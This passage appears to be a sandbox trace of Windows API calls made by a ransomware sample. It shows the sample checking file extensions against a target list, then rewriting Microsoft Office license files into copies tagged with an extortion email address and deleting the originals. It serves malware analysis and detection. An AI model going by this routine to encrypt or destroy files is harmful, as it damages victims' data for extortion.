lstrlenW (lpString=".docx") returned 5 [0196.607] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.607] lstrlenW (lpString=".pdf") returned 4 [0196.607] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.607] lstrlenW (lpString=".xls") returned 4 [0196.607] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.607] lstrlenW (lpString=".xlsx") returned 5 [0196.607] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.607] lstrlenW (lpString=".ppt") returned 4 [0196.607] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0196.607] lstrlenW (lpString=".zip") returned 4 [0196.607] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.607] lstrlenW (lpString=".rar") returned 4 [0196.607] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.607] lstrlenW (lpString=".bz2") returned 4 [0196.607] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.607] lstrlenW (lpString=".7z") returned 3 [0196.607] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0196.607] lstrlenW (lpString=".dbf") returned 4 [0196.607] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0196.608] lstrlenW (lpString=".1cd") returned 4 [0196.608] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0196.608] lstrlenW (lpString=".jpg") returned 4 [0196.608] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.609] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.609] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0196.611] GetLastError () returned 0x0 [0196.611] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d68, lpOverlapped=0x0) returned 1 [0196.889] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0196.891] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.892] WriteFile (in: hFile=0x44c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0196.892] SetEndOfFile (hFile=0x44c) returned 1 [0197.165] CloseHandle (hObject=0x44c) returned 1 [0197.527] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.527] SetEndOfFile (hFile=0x374) returned 1 [0197.541] CloseHandle (hObject=0x374) returned 1 [0197.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 1 [0197.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0197.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0197.556] lstrlenW (lpString=".doc") returned 4 [0197.557] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString=".docx") returned 5 [0197.557] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.557] lstrlenW (lpString=".pdf") returned 4 [0197.557] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString=".xls") returned 4 [0197.557] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString=".xlsx") returned 5 [0197.557] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.557] lstrlenW (lpString=".ppt") returned 4 [0197.557] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0197.557] lstrlenW (lpString=".zip") returned 4 [0197.557] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString=".rar") returned 4 [0197.557] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString=".bz2") returned 4 [0197.557] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString=".7z") returned 3 [0197.557] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0197.557] lstrlenW (lpString=".dbf") returned 4 [0197.557] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0197.557] lstrlenW (lpString=".1cd") returned 4 [0197.557] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0197.557] lstrlenW (lpString=".jpg") returned 4 [0197.558] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.559] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.559] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0197.561] GetLastError () returned 0x0 [0197.561] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d83, lpOverlapped=0x0) returned 1 [0197.565] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d90, lpOverlapped=0x0) returned 1 [0197.566] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.567] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x126, lpOverlapped=0x0) returned 1 [0197.567] SetEndOfFile (hFile=0x494) returned 1 [0197.567] CloseHandle (hObject=0x494) returned 1 [0197.567] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.567] SetEndOfFile (hFile=0x524) returned 1 [0197.572] CloseHandle (hObject=0x524) returned 1 [0197.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 1 [0197.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0197.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0197.575] lstrlenW (lpString=".doc") returned 4 [0197.575] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.575] lstrlenW (lpString=".docx") returned 5 [0197.575] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.575] lstrlenW (lpString=".pdf") returned 4 [0197.575] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.575] lstrlenW (lpString=".xls") returned 4 [0197.575] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.575] lstrlenW (lpString=".xlsx") returned 5 [0197.575] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.575] lstrlenW (lpString=".ppt") returned 4 [0197.575] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0197.575] lstrlenW (lpString=".zip") returned 4 [0197.575] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.575] lstrlenW (lpString=".rar") returned 4 [0197.575] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.576] lstrlenW (lpString=".bz2") returned 4 [0197.576] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.576] lstrlenW (lpString=".7z") returned 3 [0197.576] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0197.576] lstrlenW (lpString=".dbf") returned 4 [0197.576] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0197.576] lstrlenW (lpString=".1cd") returned 4 [0197.576] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0197.576] lstrlenW (lpString=".jpg") returned 4 [0197.576] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.577] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.577] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0197.579] GetLastError () returned 0x0 [0197.579] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0197.794] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0197.796] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.797] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11e, lpOverlapped=0x0) returned 1 [0197.797] SetEndOfFile (hFile=0x494) returned 1 [0197.904] CloseHandle (hObject=0x494) returned 1 [0197.965] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.965] SetEndOfFile (hFile=0x524) returned 1 [0197.969] CloseHandle (hObject=0x524) returned 1 [0197.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 1 [0197.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0197.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0197.975] lstrlenW (lpString=".doc") returned 4 [0197.975] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.975] lstrlenW (lpString=".docx") returned 5 [0197.975] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.975] lstrlenW (lpString=".pdf") returned 4 [0197.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.975] lstrlenW (lpString=".xls") returned 4 [0197.975] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.975] lstrlenW (lpString=".xlsx") returned 5 [0197.976] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.976] lstrlenW (lpString=".ppt") returned 4 [0197.976] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0197.976] lstrlenW (lpString=".zip") returned 4 [0197.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.976] lstrlenW (lpString=".rar") returned 4 [0197.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.976] lstrlenW (lpString=".bz2") returned 4 [0197.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.976] lstrlenW (lpString=".7z") returned 3 [0197.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0197.976] lstrlenW (lpString=".dbf") returned 4 [0197.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0197.976] lstrlenW (lpString=".1cd") returned 4 [0197.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0197.976] lstrlenW (lpString=".jpg") returned 4 [0197.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.978] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.978] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0197.980] GetLastError () returned 0x0 [0197.980] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d83, lpOverlapped=0x0) returned 1 [0197.982] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d90, lpOverlapped=0x0) returned 1 [0197.983] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.984] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x126, lpOverlapped=0x0) returned 1 [0197.984] SetEndOfFile (hFile=0x494) returned 1 [0197.984] CloseHandle (hObject=0x494) returned 1 [0197.984] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.984] SetEndOfFile (hFile=0x524) returned 1 [0197.988] CloseHandle (hObject=0x524) returned 1 [0197.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 1 [0197.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0197.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0197.990] lstrlenW (lpString=".doc") returned 4 [0197.990] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.990] lstrlenW (lpString=".docx") returned 5 [0197.990] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.990] lstrlenW (lpString=".pdf") returned 4 [0197.990] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.990] lstrlenW (lpString=".xls") returned 4 [0197.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.990] lstrlenW (lpString=".xlsx") returned 5 [0197.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.990] lstrlenW (lpString=".ppt") returned 4 [0197.990] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0197.990] lstrlenW (lpString=".zip") returned 4 [0197.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.990] lstrlenW (lpString=".rar") returned 4 [0197.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.991] lstrlenW (lpString=".bz2") returned 4 [0197.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.991] lstrlenW (lpString=".7z") returned 3 [0197.991] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0197.991] lstrlenW (lpString=".dbf") returned 4 [0197.991] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0197.991] lstrlenW (lpString=".1cd") returned 4 [0197.991] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0197.991] lstrlenW (lpString=".jpg") returned 4 [0197.991] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.992] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.992] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0197.996] GetLastError () returned 0x0 [0197.996] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0197.997] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0197.999] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.999] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11e, lpOverlapped=0x0) returned 1 [0197.999] SetEndOfFile (hFile=0x494) returned 1 [0197.999] CloseHandle (hObject=0x494) returned 1 [0197.999] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0197.999] SetEndOfFile (hFile=0x524) returned 1 [0198.002] CloseHandle (hObject=0x524) returned 1 [0198.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 1 [0198.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0198.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0198.004] lstrlenW (lpString=".doc") returned 4 [0198.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.004] lstrlenW (lpString=".docx") returned 5 [0198.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.004] lstrlenW (lpString=".pdf") returned 4 [0198.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.004] lstrlenW (lpString=".xls") returned 4 [0198.004] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.004] lstrlenW (lpString=".xlsx") returned 5 [0198.005] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.005] lstrlenW (lpString=".ppt") returned 4 [0198.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0198.005] lstrlenW (lpString=".zip") returned 4 [0198.005] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.005] lstrlenW (lpString=".rar") returned 4 [0198.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.005] lstrlenW (lpString=".bz2") returned 4 [0198.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.005] lstrlenW (lpString=".7z") returned 3 [0198.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0198.005] lstrlenW (lpString=".dbf") returned 4 [0198.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.005] lstrlenW (lpString="C:\\Program Files\\Microsoft 